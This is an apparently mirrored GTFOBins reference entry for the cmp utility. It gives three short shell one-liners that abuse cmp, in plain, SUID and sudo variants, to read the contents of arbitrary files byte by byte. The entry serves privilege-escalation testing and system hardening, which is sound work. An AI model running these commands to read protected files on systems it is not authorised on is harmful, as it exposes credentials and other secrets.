1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/cmp.md
2021-07-13 08:53:44 +02:00

479 B

functions
file-read suid sudo
code
LFILE=file-to-read TEMP=$(mktemp) printf 'A%.0s' {1..999} > $TEMP cmp $LFILE $TEMP -b -n 999 -l
code
LFILE=file-to-read TEMP=$(mktemp) printf 'a%.0s' {1..999} > $TEMP cmp $LFILE $TEMP -b -n 999 -l
code
LFILE=file-to-read TEMP=$(mktemp) printf 'a%.0s' {1..999} > $TEMP sudo cmp $LFILE $TEMP -b -n 999 -l